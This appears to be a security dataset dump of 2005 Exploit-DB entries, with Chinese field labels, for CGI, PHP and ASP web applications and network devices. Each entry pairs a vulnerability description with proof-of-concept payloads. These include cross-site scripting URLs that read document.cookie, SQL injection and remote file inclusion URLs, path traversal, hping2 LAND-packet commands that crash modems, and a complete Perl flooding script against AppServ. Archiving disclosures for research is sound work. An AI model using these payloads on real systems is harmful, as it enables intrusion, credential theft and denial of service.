QLWD/code_shield huggingface dataset:
标题: Soft4e ECW-Cart 2.0.3 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26848 CVE: 2005-4290 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15890/info

ECW-Cart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E&f=r0t+XSS&comp=0&min=&max=
http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=r0t+XSS&comp=0&min=&max=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=r0t+XSS&comp=0&min=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=r0t+XSS&comp=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
http://www.example.com/index.cgi?c=search&s=ok&id=191&kword=&f=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/26848
标题: Atlant Pro 8.0.9 - Cross-Site Scripting EDB-ID: 26845 CVE: 2005-4299 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15886/info

Atlant Pro is prone to cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/atl.cgi?ct=a8&md=search&brf=&before=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

/atl.cgi?ct=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/26845
标题: TML 0.5 - 'index.php?form' Cross-Site Scripting EDB-ID: 26839 CVE: 2005-4415 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15876/info

TML CMS is prone to multiple input validation vulnerabilities.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

TML CMS 0.5 is reportedly affected. Other versions may be vulnerable as well. 


http://www.example.com/[ztml]/index.php?type=tpl&form=<h1> x1ng <h1/> URL: https://www.exploit-db.com/exploits/26839
标题: MarmaraWeb E-Commerce - Remote File Inclusion EDB-ID: 26841 CVE: 2005-4287 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15877/info

E-commerce is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the Web server process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. 

http://www.example.com/index.php?page=http://www.example.com/?&cmd=
http://www.example.com/?page=http://www.example.com/?&cmd= URL: https://www.exploit-db.com/exploits/26841
标题: Sitenet BBS 2.0 - 'search.cgi?cid' Cross-Site Scripting EDB-ID: 26843 CVE: 2005-4306 类型: WEBAPPS 平台: CGI 发布日期: 2005-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15883/info
 
SiteNet BBS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://example.com/search.cgi?cid=[XSS] URL: https://www.exploit-db.com/exploits/26843
标题: MarmaraWeb E-Commerce - 'index.php?page' Cross-Site Scripting EDB-ID: 26838 CVE: 2005-4288 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15875/info


E-commerce is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?page=">[XSS]
http://www.example.com/?page=">[XSS] URL: https://www.exploit-db.com/exploits/26838
标题: TML 0.5 - 'index.php?id' SQL Injection EDB-ID: 26840 CVE: 2005-4416 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/15876/info
 
TML CMS is prone to multiple input validation vulnerabilities.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.
 
TML CMS 0.5 is reportedly affected. Other versions may be vulnerable as well. 

http://www.example.com/[ztml]/index.php?doc=unote&id=[sql] URL: https://www.exploit-db.com/exploits/26840
标题: Scientific Atlanta DPX2100 Cable Modem - LanD Packet Denial of Service EDB-ID: 26835 CVE: 2005-4275 类型: DOS 平台: HARDWARE 发布日期: 2005-12-14 漏洞利用脚本: source: www.securityfocus.com/bid/15870/info

Scientific Atlanta DPX2100 cable modems are prone to a denial of service vulnerability.

These devices are susceptible to a remote denial of service vulnerability when handling TCP 'LanD' packets.

This issue allows remote attackers to crash affected devices, or to temporarily block further network routing functionality. This will deny further network services to legitimate users.

Scientific Atlanta DPX2100 cable modems are reportedly affected by this issue. Due to code reuse among devices, other devices may also be affected. 

The following Hping2 command is sufficient to crash affected devices. The IP addresses must both be configured on the targeted device:

hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 URL: https://www.exploit-db.com/exploits/26835
标题: Limbo CMS 1.0.4.2 - 'option' Traversal Arbitrary File Access EDB-ID: 26837 CVE: 2005-4319 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15871/info
 
Limbo CMS is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out cross-site scripting, SQL injection, and local file include attacks.
 
Limbo CMS versions 1.0.4.2 and prior are affected by these vulnerabilities. 

http://www.example.com/[path_to_limbo]/index2.php?option=frontpage/../../../../../../../../../../../script URL: https://www.exploit-db.com/exploits/26837
标题: Westell Versalink 327W - LanD Packet Denial of Service EDB-ID: 26834 CVE: 2005-4276 类型: DOS 平台: HARDWARE 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15869/info

Westell Versalink 327W is prone to a denial of service vulnerability.

These devices are susceptible to a remote denial of service vulnerability when handling TCP 'LanD' packets.

This issue allows remote attackers to crash affected devices, or to temporarily block further network routing functionality. This will deny further network services to legitimate users.

Westell Versalink 327W is reportedly affected by this issue. Due to code reuse among devices, other devices may also be affected. 

The following Hping2 command is sufficient to crash affected devices. The IP addresses must both be configured on the targeted device:

hping2 -A -S -P -U 1.2.3.4 -s 80 -p 80 -a 192.168.1.1 URL: https://www.exploit-db.com/exploits/26834
标题: QuickPayPro 3.1 - 'tracking.details.php?trackingid' SQL Injection EDB-ID: 26831 CVE: 2005-4243 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15863/info
    
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/tools/tracking.details.php?trackingid=1[SQL] URL: https://www.exploit-db.com/exploits/26831
标题: QuickPayPro 3.1 - 'popups.edit.php?popupid' SQL Injection EDB-ID: 26827 CVE: 2005-4243 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15863/info

QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/communication/popups.edit.php?popupid=[SQL] URL: https://www.exploit-db.com/exploits/26827
标题: WikkaWiki 1.1.6 - 'TextSearch.php' Cross-Site Scripting EDB-ID: 26824 CVE: 2005-4255 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15860/info

WikkaWiki is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/TextSearch?phrase=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/26824
标题: Netref 3.0 - 'index.php' SQL Injection EDB-ID: 26826 CVE: 2005-4198 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15862/info

Netref is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/pro/page/index.php?cat=[Sql Injection] URL: https://www.exploit-db.com/exploits/26826
标题: QuickPayPro 3.1 - 'design.php?delete' SQL Injection EDB-ID: 26830 CVE: 2005-4243 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15863/info
   
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/settings/design.php?delete=[SQL] URL: https://www.exploit-db.com/exploits/26830
标题: QuickPayPro 3.1 - 'subscribers.tracking.edit.php?subtrackingid' SQL Injection EDB-ID: 26829 CVE: 2005-4243 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15863/info
  
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/communication/subscribers.tracking.edit.php?subtrackingid=[SQL] URL: https://www.exploit-db.com/exploits/26829
标题: QuickPayPro 3.1 - 'sales.view.php?customerid' SQL Injection EDB-ID: 26832 CVE: 2005-4243 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15863/info
     
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/mycompany/sales.view.php?customerid=1[SQL] URL: https://www.exploit-db.com/exploits/26832
标题: ASPBB 0.4 - 'profile.asp?PROFILE_ID' SQL Injection EDB-ID: 26823 CVE: 2005-4259 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15859/info
  
ASPBB is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspbb/profile.asp/PROFILE_ID=[sql injection] URL: https://www.exploit-db.com/exploits/26823
标题: QuickPayPro 3.1 - 'customer.tickets.view.php' Multiple SQL Injections EDB-ID: 26828 CVE: 2005-4243 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15863/info
 
QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/communication/customer.tickets.view.php?so=[SQL]
http://www.example.com/communication/customer.tickets.view.php?so=ASC&sb=[SQL]
http://www.example.com/communication/customer.tickets.view.php?so=ASC&sb=Status&nr=[SQL] URL: https://www.exploit-db.com/exploits/26828
标题: Limbo CMS 1.0.4.2 - 'index.php?_SERVER[REMOTE_ADDR]' Cross-Site Scripting EDB-ID: 26836 CVE: 2005-4317 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15871/info

Limbo CMS is prone to multiple input validation vulnerabilities. These issues can allow attackers to carry out cross-site scripting, SQL injection, and local file include attacks.

Limbo CMS versions 1.0.4.2 and prior are affected by these vulnerabilities. 

http://www.example.com/[path]/?_SERVER[]=&_SERVER[REMOTE_ADDR]=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26836
标题: PHP-Nuke 7.x - Content Filtering Bypass EDB-ID: 26817 CVE: 2005-4260 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15855/info

PHPNuke is prone to a content filtering bypass vulnerability. This issue can allow an attacker to bypass content filters and potentially carry out cross-site scripting, HTML injection and other attacks.

PHPNuke 7.9 and prior versions are reported to be vulnerable. 

URI:
http://www.example.com/[DIR]/modules.php?name=Search
Insert:
<iframe src=http://www.example.com?phpnuke79 <

URI:
http://www.example.com/[DIR]//modules.php?name=Web_Links
Insert:
<iframe src=http://www.example.com?phpnuke79 < URL: https://www.exploit-db.com/exploits/26817
标题: ASPBB 0.4 - 'forum.asp?FORUM_ID' SQL Injection EDB-ID: 26822 CVE: 2005-4259 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15859/info
 
ASPBB is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspbb/forum.asp?FORUM_ID=[sql injection] URL: https://www.exploit-db.com/exploits/26822
标题: Jamit Job Board 2.4.1 - 'index.php' SQL Injection EDB-ID: 26813 CVE: 2005-4232 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15848/info

Job Board is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?cat=[SQL] URL: https://www.exploit-db.com/exploits/26813
标题: AppServ Open Project 2.5.3 - Remote Denial of Service EDB-ID: 26816 CVE: 2005-4296 类型: DOS 平台: WINDOWS 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15851/info

AppServ Open Project is reportedly affected by a remote denial of service vulnerability.

AppServ 2.5.3 running on Microsoft Windows platforms was reported to be vulnerable. Other versions may be affected as well. 

#Xploit PoC AppServ 2.5.3 "Win32" DoS \\ (0x001)
#appserv-dos.pl
#!C:\Perl\perl.exe
#C:\>perl appserv-dos.pl <tested ip> <port>
#By Rozor - !Sub_Level Security Investigation
#Thank To Miseo
#Tested In LocalHost.

sub banner {
print("--------------------------------------------\n");
print("|                                           |\n");
print("|    Proof Of Concept AppServ 2.5.3 DoS     |\n");
print("|    C:\>appserv-dos.pl <target> <port       |\n");
print("|                                           |\n");
print("|      By Rozor - !Sub_Level Research       |\n");
print("|                                           |\n");
print("---------------------------------------------\n");
}
die banner() unless $ARGV[0];
die banner() unless $ARGV[1];

use IO::Socket::INET;

my $host = $ARGV[0];
my $port = $ARGV[1];
my $space = "\x20";
my $i;
my $l;
my $j;

for ($i=0; $i<8000; $i++)
{
$l.="\x20";
}
print "\n\nAppServ 2.5.3 DoS Proof Of Concept\n .:By Rozor:. !Sub_Level\n";
print "Attack...\n";
my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort =>
$port, Proto => 'tcp') ||

die "Error: Conection reused$@\n";
my $buffer="GET / HTTP/1.0\n";
my $m = "$l\n";
send($sock,$buffer,0) || die "Error: Send not found\n";
for($l= 0; $l <8000000000; $l++)
{
print "[ $l - 8000000000 ]\r";
send($sock,$m,0) || die "Error: Send not found\n";
}
print "\nServer DoS Hack\n";
close($sock); URL: https://www.exploit-db.com/exploits/26816
标题: ASPBB 0.4 - 'topic.asp?TID' SQL Injection EDB-ID: 26821 CVE: 2005-4259 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15859/info

ASPBB is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspbb/topic.asp?TID=[sql injection]
http://www.example.com/aspbb/topic.asp?COMMAND=GOTOLAST&TID=[sql injection] URL: https://www.exploit-db.com/exploits/26821
标题: News Module for Envolution - 'modules.php' Multiple SQL Injections EDB-ID: 26819 CVE: 2005-4263 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15857/info
 
Envolution is prone to multiple input validation vulnerabilities.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks.

http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=&topic=18&startrow=[sql]

http://www.example.com/[envo]/modules.php?op=modload&name=News&file=index&catid=[sql] URL: https://www.exploit-db.com/exploits/26819
标题: ASP-DEV XM Forum - 'forum.asp' Cross-Site Scripting EDB-ID: 26820 CVE: 2005-4256 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15858/info

XM Forum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/forum.asp?forum_id=3&forum_title=[XSS] URL: https://www.exploit-db.com/exploits/26820
标题: PHP Web Scripts Ad Manager Pro 2.0 - 'Advertiser_statistic.php' SQL Injection EDB-ID: 26812 CVE: 2005-4233 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15847/info

Ad Manager Pro is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/advertiser_statistic.php?action=statistic_main&ad_number=[SQL] URL: https://www.exploit-db.com/exploits/26812
标题: DreamLevels Dream Poll 3.0 - 'View_Results.php' SQL Injection EDB-ID: 26814 CVE: 2005-4254 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/15849/info

Dream Poll is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/view_Results.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26814
标题: McGallery 1.0/1.1/2.2 - 'show.php' Multiple SQL Injections EDB-ID: 26809 CVE: 2005-4251 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/15845/info
 
mcGallery PRO is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
Successful exploitation of these vulnerabilities could result in a compromise of the application,arbitrary local file inclusion and code execution, disclosure or modification of data, the theft of cookie-based authentication credentials. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

http://www.example.com/show.php?start=0&id=[SQL]
http://www.example.com/show.php?start=[SQL]
http://www.example.com/show.php?rand=1&id=[SQL]
http://www.example.com/show.php?rand=[SQL] URL: https://www.exploit-db.com/exploits/26809